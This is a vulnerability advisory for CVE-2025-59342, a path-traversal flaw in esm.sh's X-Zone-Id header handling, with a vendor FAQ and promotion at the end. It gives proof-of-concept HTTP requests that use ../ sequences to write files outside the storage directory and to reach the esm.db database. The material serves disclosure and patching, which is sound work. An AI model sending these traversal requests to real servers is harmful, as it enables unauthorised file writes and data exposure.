CVE-2025-59342

A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).

Severity: Medium

Component / Endpoint:

POST /transform, handling of X-Zone-Id header

The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411

Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.

Proof of Concept (POC)

Request (attacker-supplied X-Zone-Id contains path traversal):

POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325

{
  "filename": "example2.js",
  "lang": "js",
  "code": "console.log('hello');",
  "importMap": {
    "imports": {
      "react": "https://esm.sh/react",
      "react-dom": "https://esm.sh/react-dom"
    }
  },
  "jsxImportSource": "react",
  "target": "es2022",
  "sourceMap": "external",
  "minify": true
}

Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.

This can be trigger with another path traversal request below

GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/

Credits

• Ai Ho (Jessie)
• CL Yang

Kodem intelligence

Simply remove any .. in the X-Zone-Id header before actually process the file.

1. What is CVE-2025-59342? CVE-2025-59342 is a medium-severity security vulnerability in github.com/esm-dev/esm.sh (go), affecting versions <= 136. It is fixed in 136.1.
2. Which versions of github.com/esm-dev/esm.sh are affected by CVE-2025-59342? github.com/esm-dev/esm.sh (go) versions <= 136 is affected.
3. Is there a fix for CVE-2025-59342? Yes. CVE-2025-59342 is fixed in 136.1. Upgrade to this version or later.
4. Is CVE-2025-59342 exploitable, and should I be worried? Whether CVE-2025-59342 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-59342 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-59342? Upgrade github.com/esm-dev/esm.sh to 136.1 or later.